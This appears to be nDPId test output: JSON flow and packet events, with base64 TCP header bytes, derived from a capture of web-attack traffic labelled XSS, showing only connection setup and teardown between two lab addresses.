+00444{"flow_id":526,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7437,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347861,"pkt_ts_usec":783428,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8lM1AAD4GMQOsEAABwKgKMoLAAFBG1cXfAAAAAKACchB88AAAAgQFtAQCCAoBPFESAAAAAAEDAwc="} +00444{"flow_id":526,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7438,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347861,"pkt_ts_usec":783526,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgsCSqnQ8RtXF4KAScSBQewAAAgQFtAQCCAoD5iKHATxREgEDAwc="} +00432{"flow_id":526,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7440,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347861,"pkt_ts_usec":784321,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lM5AAD4GMQqsEAABwKgKMoLAAFBG1cXgkqp0PYAQAOXvgQAAAQEICgE8URMD5iKH"} +00432{"flow_id":523,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7443,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347861,"pkt_ts_usec":859409,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0fnRAAD4GR2SsEAABwKgKMoKKAFBRAjJ0GNGMdoARAOXflgAAAQEICgE8USUD5h11"} +00432{"flow_id":523,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7444,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347861,"pkt_ts_usec":859594,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ruxAAEAGFOzAqAoyrBAAAQBQgooY0Yx2UQIydYARAOPacgAAAQEICgPmIpoBPFEl"} +00432{"flow_id":523,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7445,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347861,"pkt_ts_usec":860169,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0fnVAAD4GR2OsEAABwKgKMoKKAFBRAjJ1GNGMd4AQAOXabwAAAQEICgE8USYD5iKa"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7449,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":527,"flow_packet_id":1,"flow_first_seen":1499347863072,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33486,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":527,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7449,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347863,"pkt_ts_usec":72990,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NydAAD4GjqmsEAABwKgKMoLOAFBzZGVyAAAAAKACchCvfQAAAgQFtAQCCAoBPFJVAAAAAAEDAwc="} +00443{"flow_id":527,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7450,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347863,"pkt_ts_usec":73147,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgs7A+ay+c2Rlc6AScSAa9QAAAgQFtAQCCAoD5iPJATxSVQEDAwc="} +00432{"flow_id":527,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7451,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347863,"pkt_ts_usec":73928,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NyhAAD4GjrCsEAABwKgKMoLOAFBzZGVzwPmsv4AQAOW5\/AAAAQEICgE8UlUD5iPJ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7458,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":528,"flow_packet_id":1,"flow_first_seen":1499347864367,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33500,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":528,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7458,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347864,"pkt_ts_usec":367420,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8SwNAAD4Ges2sEAABwKgKMoLcAFBKORibAAAAAKACchAkLwAAAgQFtAQCCAoBPFOYAAAAAAEDAwc="} +00444{"flow_id":528,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7459,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347864,"pkt_ts_usec":367548,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgtztJOKwSjkYnKAScSAsRQAAAgQFtAQCCAoD5iUNATxTmAEDAwc="} +00432{"flow_id":528,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7461,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347864,"pkt_ts_usec":368322,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SwRAAD4GetSsEAABwKgKMoLcAFBKORic7STisYAQAOXLSwAAAQEICgE8U5kD5iUN"} +00434{"flow_id":524,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7464,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347864,"pkt_ts_usec":860950,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PBxAAD4GibysEAABwKgKMoKkAFB0dnKS8KJw44ARAOW6MgAAAQEICgE8VBQD5h\/\/"} +00432{"flow_id":524,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7465,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347864,"pkt_ts_usec":861168,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0VWtAAEAGbm3AqAoyrBAAAQBQgqTwonDjdHZyk4ARAOO0qgAAAQEICgPmJYgBPFQU"} +00432{"flow_id":524,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7466,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347864,"pkt_ts_usec":861731,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PB1AAD4GibusEAABwKgKMoKkAFB0dnKT8KJw5IAQAOW0qAAAAQEICgE8VBQD5iWI"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7467,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":487,"flow_packet_id":6,"flow_first_seen":1499347793575,"flow_last_seen":1499347798838,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60990,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7467,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":487,"flow_packet_id":6,"flow_first_seen":1499347793575,"flow_last_seen":1499347798838,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60990,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7467,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":488,"flow_packet_id":6,"flow_first_seen":1499347796130,"flow_last_seen":1499347801839,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32784,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7467,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":488,"flow_packet_id":6,"flow_first_seen":1499347796130,"flow_last_seen":1499347801839,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32784,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7467,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":489,"flow_packet_id":6,"flow_first_seen":1499347797419,"flow_last_seen":1499347802840,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32798,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7467,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":489,"flow_packet_id":6,"flow_first_seen":1499347797419,"flow_last_seen":1499347802840,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32798,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7467,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":490,"flow_packet_id":6,"flow_first_seen":1499347798713,"flow_last_seen":1499347803840,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32812,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7467,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":490,"flow_packet_id":6,"flow_first_seen":1499347798713,"flow_last_seen":1499347803840,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32812,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7467,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":486,"flow_packet_id":6,"flow_first_seen":1499347792291,"flow_last_seen":1499347797838,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60976,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7467,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":486,"flow_packet_id":6,"flow_first_seen":1499347792291,"flow_last_seen":1499347797838,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60976,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":525,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7473,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347865,"pkt_ts_usec":861495,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA042RAAD4G4nOsEAABwKgKMoKyAFDBtqyucvcegIARAOUAmQAAAQEICgE8VQ4D5iFD"} +00432{"flow_id":525,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7474,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347865,"pkt_ts_usec":861692,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0OAJAAEAGi9bAqAoyrBAAAQBQgrJy9x6Awbasr4ARAOP7WgAAAQEICgPmJoIBPFUO"} +00432{"flow_id":525,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7475,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347865,"pkt_ts_usec":862275,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA042VAAD4G4nKsEAABwKgKMoKyAFDBtqyvcvcegYAQAOX7WAAAAQEICgE8VQ4D5iaC"} +00432{"flow_id":526,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7479,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347866,"pkt_ts_usec":862288,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lM9AAD4GMQmsEAABwKgKMoLAAFBG1cXgkqp0PYARAOXqiwAAAQEICgE8VggD5iKH"} +00432{"flow_id":526,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7480,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347866,"pkt_ts_usec":862476,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0U0BAAEAGcJjAqAoyrBAAAQBQgsCSqnQ9RtXF4YARAOPllgAAAQEICgPmJ30BPFYI"} +00432{"flow_id":526,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7481,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347866,"pkt_ts_usec":863063,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lNBAAD4GMQisEAABwKgKMoLAAFBG1cXhkqp0PoAQAOXllAAAAQEICgE8VggD5id9"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7482,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":529,"flow_packet_id":1,"flow_first_seen":1499347867086,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33526,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":529,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7482,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347867,"pkt_ts_usec":86713,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8sxZAAD4GErqsEAABwKgKMoL2AFBvHeVWAAAAAKACchAvzQAAAgQFtAQCCAoBPFZAAAAAAAEDAwc="} +00443{"flow_id":529,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7483,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347867,"pkt_ts_usec":86837,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgvZcEWBbbx3lV6AScSBIpAAAAgQFtAQCCAoD5ie1ATxWQAEDAwc="} +00431{"flow_id":529,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7484,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347867,"pkt_ts_usec":87440,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0sxdAAD4GEsGsEAABwKgKMoL2AFBvHeVXXBFgXIAQAOXnqwAAAQEICgE8VkAD5ie1"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7491,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":530,"flow_packet_id":1,"flow_first_seen":1499347868358,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33540,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":530,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7491,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347868,"pkt_ts_usec":358719,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8189AAD4G7gCsEAABwKgKMoMEAFA06oCxAAAAAKACchDNWQAAAgQFtAQCCAoBPFd+AAAAAAEDAwc="} +00444{"flow_id":530,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7492,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347868,"pkt_ts_usec":358813,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgwSCLK7WNOqAsqAScSBwXAAAAgQFtAQCCAoD5ijzATxXfgEDAwc="} +00432{"flow_id":530,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7493,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347868,"pkt_ts_usec":359588,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA019BAAD4G7gesEAABwKgKMoMEAFA06oCygiyu14AQAOUPZAAAAQEICgE8V34D5ijz"} +00433{"flow_id":527,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7497,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347868,"pkt_ts_usec":863353,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NylAAD4Gjq+sEAABwKgKMoLOAFBzZGVzwPmsv4ARAOW0VAAAAQEICgE8V\/wD5iPJ"} +00433{"flow_id":527,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7498,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347868,"pkt_ts_usec":863556,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0hc5AAEAGPgrAqAoyrBAAAQBQgs7A+ay\/c2RldIARAOOurQAAAQEICgPmKXEBPFf8"} +00433{"flow_id":527,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7499,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347868,"pkt_ts_usec":864329,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NypAAD4Gjq6sEAABwKgKMoLOAFBzZGV0wPmswIAQAOWuqgAAAQEICgE8V\/0D5ilx"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7503,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":531,"flow_packet_id":1,"flow_first_seen":1499347869628,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33554,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":531,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7503,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347869,"pkt_ts_usec":628596,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8XbNAAD4GaB2sEAABwKgKMoMSAFAbjgUPAAAAAKACchBhDAAAAgQFtAQCCAoBPFi8AAAAAAEDAwc="} +00444{"flow_id":531,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7504,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347869,"pkt_ts_usec":628690,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgxKd9DBxG44FEKAScSBlbwAAAgQFtAQCCAoD5iowATxYvAEDAwc="} +00432{"flow_id":531,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7505,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347869,"pkt_ts_usec":629470,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XbRAAD4GaCSsEAABwKgKMoMSAFAbjgUQnfQwcoAQAOUEdwAAAQEICgE8WLwD5iow"} +00432{"flow_id":528,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7509,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347869,"pkt_ts_usec":863985,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SwVAAD4GetOsEAABwKgKMoLcAFBKORic7STisYARAOXF7AAAAQEICgE8WPcD5iUN"} +00432{"flow_id":528,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7510,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347869,"pkt_ts_usec":864249,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0yNpAAEAG+v3AqAoyrBAAAQBQgtztJOKxSjkYnYARAOPAjwAAAQEICgPmKmsBPFj3"} +00432{"flow_id":528,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7511,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347869,"pkt_ts_usec":864988,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SwZAAD4GetKsEAABwKgKMoLcAFBKORid7STisoAQAOXAjQAAAQEICgE8WPcD5ipr"} 